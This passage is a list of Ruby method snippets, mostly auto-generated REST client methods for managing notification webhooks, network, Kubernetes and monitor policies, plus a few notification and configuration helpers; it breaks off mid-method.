"def update_notification_webhook_with_http_info(application_id, notification_webhook_id, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementApi.update_notification_webhook ...'\n end\n # verify the required parameter 'application_id' is set\n if @api_client.config.client_side_validation && application_id.nil?\n fail ArgumentError, \"Missing the required parameter 'application_id' when calling ManagementApi.update_notification_webhook\"\n end\n # verify the required parameter 'notification_webhook_id' is set\n if @api_client.config.client_side_validation && notification_webhook_id.nil?\n fail ArgumentError, \"Missing the required parameter 'notification_webhook_id' when calling ManagementApi.update_notification_webhook\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling ManagementApi.update_notification_webhook\"\n end\n # resource path\n local_var_path = '/v1/applications/{applicationId}/notification_webhooks/{notificationWebhookId}'.sub('{' + 'applicationId' + '}', CGI.escape(application_id.to_s)).sub('{' + 'notificationWebhookId' + '}', CGI.escape(notification_webhook_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(body) \n\n # return_type\n return_type = opts[:return_type] || 'NotificationWebhook' \n\n # auth_names\n auth_names = opts[:auth_names] || ['management_key', 'manager_auth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementApi#update_notification_webhook\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def delete_adapter_config_policy_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AdapterApi.delete_adapter_config_policy ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling AdapterApi.delete_adapter_config_policy\"\n end\n # resource path\n local_var_path = '/api/v1/adapter/ConfigPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type]\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"AdapterApi.delete_adapter_config_policy\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AdapterApi#delete_adapter_config_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update_vnic_fc_adapter_policy_with_http_info(moid, vnic_fc_adapter_policy, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: VnicApi.update_vnic_fc_adapter_policy ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling VnicApi.update_vnic_fc_adapter_policy\"\n end\n # verify the required parameter 'vnic_fc_adapter_policy' is set\n if @api_client.config.client_side_validation && vnic_fc_adapter_policy.nil?\n fail ArgumentError, \"Missing the required parameter 'vnic_fc_adapter_policy' when calling VnicApi.update_vnic_fc_adapter_policy\"\n end\n # resource path\n local_var_path = '/api/v1/vnic/FcAdapterPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(vnic_fc_adapter_policy)\n\n # return_type\n return_type = opts[:debug_return_type] || 'VnicFcAdapterPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"VnicApi.update_vnic_fc_adapter_policy\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VnicApi#update_vnic_fc_adapter_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def patch_kubernetes_sys_config_policy_with_http_info(moid, kubernetes_sys_config_policy, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.patch_kubernetes_sys_config_policy ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.patch_kubernetes_sys_config_policy\"\n end\n # verify the required parameter 'kubernetes_sys_config_policy' is set\n if @api_client.config.client_side_validation && kubernetes_sys_config_policy.nil?\n fail ArgumentError, \"Missing the required parameter 'kubernetes_sys_config_policy' when calling KubernetesApi.patch_kubernetes_sys_config_policy\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/SysConfigPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(kubernetes_sys_config_policy)\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesSysConfigPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.patch_kubernetes_sys_config_policy\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#patch_kubernetes_sys_config_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def patch_vnic_eth_network_policy_with_http_info(moid, vnic_eth_network_policy, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: VnicApi.patch_vnic_eth_network_policy ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling VnicApi.patch_vnic_eth_network_policy\"\n end\n # verify the required parameter 'vnic_eth_network_policy' is set\n if @api_client.config.client_side_validation && vnic_eth_network_policy.nil?\n fail ArgumentError, \"Missing the required parameter 'vnic_eth_network_policy' when calling VnicApi.patch_vnic_eth_network_policy\"\n end\n # resource path\n local_var_path = '/api/v1/vnic/EthNetworkPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(vnic_eth_network_policy)\n\n # return_type\n return_type = opts[:debug_return_type] || 'VnicEthNetworkPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"VnicApi.patch_vnic_eth_network_policy\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VnicApi#patch_vnic_eth_network_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update_vnic_eth_adapter_policy_with_http_info(moid, vnic_eth_adapter_policy, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: VnicApi.update_vnic_eth_adapter_policy ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling VnicApi.update_vnic_eth_adapter_policy\"\n end\n # verify the required parameter 'vnic_eth_adapter_policy' is set\n if @api_client.config.client_side_validation && vnic_eth_adapter_policy.nil?\n fail ArgumentError, \"Missing the required parameter 'vnic_eth_adapter_policy' when calling VnicApi.update_vnic_eth_adapter_policy\"\n end\n # resource path\n local_var_path = '/api/v1/vnic/EthAdapterPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(vnic_eth_adapter_policy)\n\n # return_type\n return_type = opts[:debug_return_type] || 'VnicEthAdapterPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"VnicApi.update_vnic_eth_adapter_policy\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VnicApi#update_vnic_eth_adapter_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def send_account_notifications\n notifications = NotificationType.check_all(self)\n\n notifications_to_email = {}\n\n # Check preferences for what to do with each notification type\n NotificationType.types.each do |notification_type_string|\n notification_type = notification_type_string.constantize.first\n\n next unless notifications[notification_type_string].present?\n actions = notification_preferences.find_by_notification_type_id(notification_type.id).try(:actions) ||\n NotificationPreference.default_actions\n\n # Collect any emails that need sent\n if actions.include?('email')\n notifications_to_email[notification_type] = notifications[notification_type_string]\n end\n\n next unless actions.include?('task')\n # Create a task for each notification\n notifications[notification_type_string].each do |notification|\n notification_type.create_task(self, notification)\n end\n end\n\n # Send email if necessary\n if notifications_to_email.present?\n NotificationMailer.notify(self, notifications_to_email).deliver\n end\n end",
"def notify\n {\n \"log_group_name\" => @config[\"log_group_name\"],\n \"log_stream_name\" => @config[\"log_stream_name\"]\n }\n end",
"def perform(log)\n begin\n plugin_data = self.class.get_config(@ctx[:organization])\n Cyclid.logger.debug \"using plugin config #{plugin_data}\"\n config = plugin_data['config']\n\n subject = @subject ** @ctx\n\n url = @url || config['webhook_url']\n raise 'no webhook URL given' if url.nil?\n\n url = url ** @ctx\n Cyclid.logger.debug \"sending notification to #{url}\"\n\n message_text = @message ** @ctx if @message\n\n # Create a binding for the template\n bind = binding\n bind.local_variable_set(:ctx, @ctx)\n\n # Generate the context information from a templete\n template_path = File.expand_path(File.join(__FILE__, '..', 'slack', 'note.erb'))\n template = ERB.new(File.read(template_path), nil, '%<>-')\n\n context_text = template.result(bind)\n\n # Create a \"note\" and send it as part of the message\n fields = if @message\n [{ title: 'Message', value: message_text }]\n else\n []\n end\n fields << { title: 'Information',\n value: context_text,\n short: false }\n\n note = { fallback: message_text || subject,\n color: @color,\n fields: fields }\n\n # Send the notification to the Slack webhook\n notifier = ::Slack::Notifier.new url\n notifier.username = 'Cyclid'\n\n res = notifier.ping subject, attachments: [note]\n\n rc = res.code\n success = rc == '200'\n rescue StandardError => ex\n log.write \"#{ex.message}\\n\"\n success = false\n rc = 0\n end\n\n [success, rc]\n end",
"def update_kubernetes_sys_config_policy_with_http_info(moid, kubernetes_sys_config_policy, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.update_kubernetes_sys_config_policy ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.update_kubernetes_sys_config_policy\"\n end\n # verify the required parameter 'kubernetes_sys_config_policy' is set\n if @api_client.config.client_side_validation && kubernetes_sys_config_policy.nil?\n fail ArgumentError, \"Missing the required parameter 'kubernetes_sys_config_policy' when calling KubernetesApi.update_kubernetes_sys_config_policy\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/SysConfigPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(kubernetes_sys_config_policy)\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesSysConfigPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.update_kubernetes_sys_config_policy\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#update_kubernetes_sys_config_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update_vnic_lan_connectivity_policy_with_http_info(moid, vnic_lan_connectivity_policy, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: VnicApi.update_vnic_lan_connectivity_policy ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling VnicApi.update_vnic_lan_connectivity_policy\"\n end\n # verify the required parameter 'vnic_lan_connectivity_policy' is set\n if @api_client.config.client_side_validation && vnic_lan_connectivity_policy.nil?\n fail ArgumentError, \"Missing the required parameter 'vnic_lan_connectivity_policy' when calling VnicApi.update_vnic_lan_connectivity_policy\"\n end\n # resource path\n local_var_path = '/api/v1/vnic/LanConnectivityPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(vnic_lan_connectivity_policy)\n\n # return_type\n return_type = opts[:debug_return_type] || 'VnicLanConnectivityPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"VnicApi.update_vnic_lan_connectivity_policy\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VnicApi#update_vnic_lan_connectivity_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_monitor_config_policy_with_http_info(policy_id, opts = {})\n\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: MonitorsAPI.get_monitor_config_policy ...'\n end\n # verify the required parameter 'policy_id' is set\n if @api_client.config.client_side_validation && policy_id.nil?\n fail ArgumentError, \"Missing the required parameter 'policy_id' when calling MonitorsAPI.get_monitor_config_policy\"\n end\n # resource path\n local_var_path = '/api/v2/monitor/policy/{policy_id}'.sub('{policy_id}', CGI.escape(policy_id.to_s).gsub('%2F', '/'))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'MonitorConfigPolicyResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || [:apiKeyAuth, :appKeyAuth, :AuthZ]\n\n new_options = opts.merge(\n :operation => :get_monitor_config_policy,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type,\n :api_version => \"V2\"\n )\n\n data, status_code, headers = @api_client.call_api(Net::HTTP::Get, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MonitorsAPI#get_monitor_config_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update_vnic_fc_network_policy_with_http_info(moid, vnic_fc_network_policy, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: VnicApi.update_vnic_fc_network_policy ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling VnicApi.update_vnic_fc_network_policy\"\n end\n # verify the required parameter 'vnic_fc_network_policy' is set\n if @api_client.config.client_side_validation && vnic_fc_network_policy.nil?\n fail ArgumentError, \"Missing the required parameter 'vnic_fc_network_policy' when calling VnicApi.update_vnic_fc_network_policy\"\n end\n # resource path\n local_var_path = '/api/v1/vnic/FcNetworkPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(vnic_fc_network_policy)\n\n # return_type\n return_type = opts[:debug_return_type] || 'VnicFcNetworkPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"VnicApi.update_vnic_fc_network_policy\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VnicApi#update_vnic_fc_network_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create_monitor_config_policy_with_http_info(body, opts = {})\n\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: MonitorsAPI.create_monitor_config_policy ...'\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling MonitorsAPI.create_monitor_config_policy\"\n end\n # resource path\n local_var_path = '/api/v2/monitor/policy'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(body)\n\n # return_type\n return_type = opts[:debug_return_type] || 'MonitorConfigPolicyResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || [:apiKeyAuth, :appKeyAuth]\n\n new_options = opts.merge(\n :operation => :create_monitor_config_policy,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type,\n :api_version => \"V2\"\n )\n\n data, status_code, headers = @api_client.call_api(Net::HTTP::Post, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MonitorsAPI#create_monitor_config_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def config=(hash)\n self.client = nil\n @config = hash.symbolize_keys\n end",
"def create_notification_rule_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.create_notification_rule ...'\n end\n # resource path\n local_var_path = '/v1/notification/rule'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(opts[:'body']) \n\n # return_type\n return_type = opts[:return_type] || 'NotificationRule' \n\n # auth_names\n auth_names = opts[:auth_names] || ['X-Api-Key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#create_notification_rule\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def test_smtp_publisher_config_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.test_smtp_publisher_config ...'\n end\n # resource path\n local_var_path = '/v1/notification/publisher/test/smtp'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/x-www-form-urlencoded'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n form_params['destination'] = opts[:'destination'] if !opts[:'destination'].nil?\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] \n\n # auth_names\n auth_names = opts[:auth_names] || ['X-Api-Key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#test_smtp_publisher_config\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def apply_owncloud_configuration\n calculate_trusted_domains\n calculate_dbhost\n owncloud_config_update\n save_owncloud_node_configuration\n end",
"def config_override(hash)\n @config_override ||= {}\n @config_override.update(hash)\n\n @config = nil\n config\n end",
"def delete_monitor_config_policy_with_http_info(policy_id, opts = {})\n\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: MonitorsAPI.delete_monitor_config_policy ...'\n end\n # verify the required parameter 'policy_id' is set\n if @api_client.config.client_side_validation && policy_id.nil?\n fail ArgumentError, \"Missing the required parameter 'policy_id' when calling MonitorsAPI.delete_monitor_config_policy\"\n end\n # resource path\n local_var_path = '/api/v2/monitor/policy/{policy_id}'.sub('{policy_id}', CGI.escape(policy_id.to_s).gsub('%2F', '/'))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type]\n\n # auth_names\n auth_names = opts[:debug_auth_names] || [:apiKeyAuth, :appKeyAuth]\n\n new_options = opts.merge(\n :operation => :delete_monitor_config_policy,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type,\n :api_version => \"V2\"\n )\n\n data, status_code, headers = @api_client.call_api(Net::HTTP::Delete, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MonitorsAPI#delete_monitor_config_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def send_notifications\n if self.cert.nil?\n raise APN::Errors::MissingCertificateError.new\n return\n end\n APN::App.send_notifications_for_cert(self.cert, self.id)\n end",
"def update!(**args)\n @allow_all_domains = args[:allow_all_domains] if args.key?(:allow_all_domains)\n @allow_amp_traffic = args[:allow_amp_traffic] if args.key?(:allow_amp_traffic)\n @allowed_domains = args[:allowed_domains] if args.key?(:allowed_domains)\n @challenge_security_preference = args[:challenge_security_preference] if args.key?(:challenge_security_preference)\n @integration_type = args[:integration_type] if args.key?(:integration_type)\n end",
"def config_update( name )\n @ndev_res.update name\n @@netdev.edit_config( @ndev_res, \"xml\" )\n end",
"def update_configuration_with_http_info(configuration_id, configuration_body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: UsersApi.update_configuration ...'\n end\n # verify the required parameter 'configuration_id' is set\n if @api_client.config.client_side_validation && configuration_id.nil?\n fail ArgumentError, \"Missing the required parameter 'configuration_id' when calling UsersApi.update_configuration\"\n end\n # verify the required parameter 'configuration_body' is set\n if @api_client.config.client_side_validation && configuration_body.nil?\n fail ArgumentError, \"Missing the required parameter 'configuration_body' when calling UsersApi.update_configuration\"\n end\n # resource path\n local_var_path = '/users/me/configurations/{configuration_id}'.sub('{' + 'configuration_id' + '}', CGI.escape(configuration_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(configuration_body) \n\n # return_type\n return_type = opts[:return_type] || 'UserConfiguration' \n\n # auth_names\n auth_names = opts[:auth_names] || ['BasicAuth', 'BearerAuth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => 